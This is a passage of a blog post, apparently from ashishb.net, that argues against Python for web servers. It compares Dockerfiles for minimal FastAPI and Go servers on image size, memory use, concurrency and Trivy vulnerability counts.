</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># Build: docker buildx build -t python-fastapi -f Dockerfile_python .</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Size: docker image inspect python-fastapi --format=&#39;{{.Size}}&#39; | numfmt --to=iec-i</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Run: docker run -it --rm --cpus=1 --memory=100m -p 8000:8000 python-fastapi</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> python:3.12-slim AS base</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> pip3 install --no-cache-dir <span style="color:#268bd2">fastapi</span><span style="color:#719e07">==</span>0.115.11 <span style="color:#268bd2">uvicorn</span><span style="color:#719e07">==</span>0.34.0
</span></span><span style="display:flex;"><span><span style="color:#719e07">SHELL</span> [<span style="color:#2aa198">&#34;/bin/bash&#34;</span>, <span style="color:#2aa198">&#34;-c&#34;</span>]
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> <span style="color:#b58900">echo</span> -e <span style="color:#2aa198">&#34;\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">from fastapi import FastAPI\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">app = FastAPI()\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">@app.get(&#39;/&#39;)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">async def root():\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    return {&#39;message&#39;: &#39;Hello World&#39;}\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">&#34;</span> &gt; /app/web_server.py
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> <span style="color:#719e07">[</span><span style="color:#2aa198">&#34;uvicorn&#34;</span>, <span style="color:#2aa198">&#34;web_server:app&#34;</span>, <span style="color:#2aa198">&#34;--host=0.0.0.0&#34;</span>, <span style="color:#2aa198">&#34;--port=8000&#34;</span>, <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span> <span style="color:#2aa198">&#34;--workers=4&#34;</span>, <span style="color:#2aa198">&#34;--limit-concurrency=32&#34;</span><span style="color:#719e07">]</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And a similar web server in Go.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># Build: docker buildx build -t go-webserver -f Dockerfile.gobuild .</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Size: docker image inspect go-webserver --format=&#39;{{.Size}}&#39; | numfmt --to=iec-i</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Run: docker run -it --rm --cpus=0.06 --memory=6m -p 8001:8001 go-webserver</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> golang:1.24-alpine3.21 AS builder</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> apk add --no-cache bash ca-certificates tzdata
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> go mod init ashishb.net/example
</span></span><span style="display:flex;"><span><span style="color:#719e07">SHELL</span> [<span style="color:#2aa198">&#34;/bin/bash&#34;</span>, <span style="color:#2aa198">&#34;-c&#34;</span>]
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> <span style="color:#b58900">echo</span> -e <span style="color:#2aa198">&#39;\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">package main\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">import (\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    &#34;fmt&#34;\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    &#34;net/http&#34;\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">func helloHandler(w http.ResponseWriter, r *http.Request) {\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    fmt.Fprintf(w, &#34;Hello, World!&#34;)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">}\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">func main() {\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    http.HandleFunc(&#34;/&#34;, helloHandler)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    http.ListenAndServe(&#34;:8001&#34;, nil)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">}&#39;</span> &gt; /app/web_server.go
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> go build -o ./webserver
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> scratch AS runner</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>builder /usr/share/zoneinfo /usr/share/zoneinfo
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>builder /app/webserver /app/webserver
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> [<span style="color:#2aa198">&#34;/app/webserver&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The Python docker image size is 164MiB while the Go docker image is 8MiB.
Once you pull in any significant libraries, expect the Python image to balloon to 750MiB-1GiB range.
The Go image, however, rarely crosses, 100MiB.
Such large docker images are not great for auto-scaling during traffic spikes.</p>
<p>The other problem is that the Python image requires way more resources.</p>
<p>For example, the above Go-based web server when started with only 6MiB RAM (the lowest that Docker allows) performs as well as the Python build started under 16 times more RAM. Any RAM less than 100MiB and the Python-based server starts to hit OOM.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker run -it --rm --cpus<span style="color:#719e07">=</span>0.06 --memory<span style="color:#719e07">=</span>6m -p 8001:8001 go-webserver
</span></span><span style="display:flex;"><span>$ docker run -it --rm --cpus<span style="color:#719e07">=</span><span style="color:#2aa198">1</span> --memory<span style="color:#719e07">=</span>100m -p 8000:8000 python-fastapi
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Similar performance when tested with</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># h2load --h1 -n1000 -c40 &#39;http://localhost:8000&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># h2load --h1 -n1000 -c40 &#39;http://localhost:8001&#39;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Further, the max concurrency of the FastAPI-based Python server is 40 while the one in Go is 150 (with only 6MiB of RAM). So, about a ~60X RAM difference. Coincidentally, a friend in YouTube infrastructure, who was involved in a fairly large migration from Python to C++, told me that cost reduction was about 60X.</p>
<p>This has huge implications for the financial costs and engineering hiring.</p>
<p>Imagine if your   
    
    
<a href="https://www.saas-capital.com/blog-posts/what-should-be-included-in-cogs-for-my-saas-business/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">COGS</a> are 20%.</p>
<p>So, you spend $20 for every $100 earned and half of it goes to hosting and serving costs. What if you can redirect 98% (~59/60) of that and spend that on hiring better engineers!</p>
<h2 id="python-deployments-have-a-larger-attack-surface">Python deployments have a larger attack surface</h2>
<p>Consider the earlier mentioned docker images and let&rsquo;s look at the vulnerabilities using   
    
    
<a href="https://github.com/aquasecurity/trivy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Trivy</a>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ trivy image go-webserver --quiet
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#2aa198">0</span> vulnerabilities</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ trivy image python-fastapi --quiet
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>Total: <span style="color:#2aa198">99</span> <span style="color:#719e07">(</span>UNKNOWN: 0, LOW: 71, MEDIUM: 26, HIGH: 1, CRITICAL: 1<span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Even Google&#39;s distroless image has vulnerabilities!</span>
</span></span><span style="display:flex;"><span>$ trivy image gcr.io/distroless/python3-debian12
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>Total: <span style="color:#2aa198">52</span> <span style="color:#719e07">(</span>UNKNOWN: 0, LOW: 34, MEDIUM: 15, HIGH: 2, CRITICAL: 1<span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>While not all of these might be exploitable, but the attack surface is drastically larger.</p>
<h2 id="python-codebase-is-hard-to-maintain">Python codebase is hard to maintain</h2>
<p>While it is easy to write baseline Python.<br>
Far and few engineers can write good quality Python code.<br>
Few understand the GIL limitations that Facebook is offering three engineers to   
    
    
<a href="https://discuss.python.org/t/a-fast-free-threading-python/27903/99?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fix</a>.<br>
Few know about common Python exceptions. A side note for those who know Java, all exceptions are   
    
    
<a href="https://www.geeksforgeeks.org/checked-vs-unchecked-exceptions-in-java/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">unchecked</a> in Python.<br>
Few   
    
    
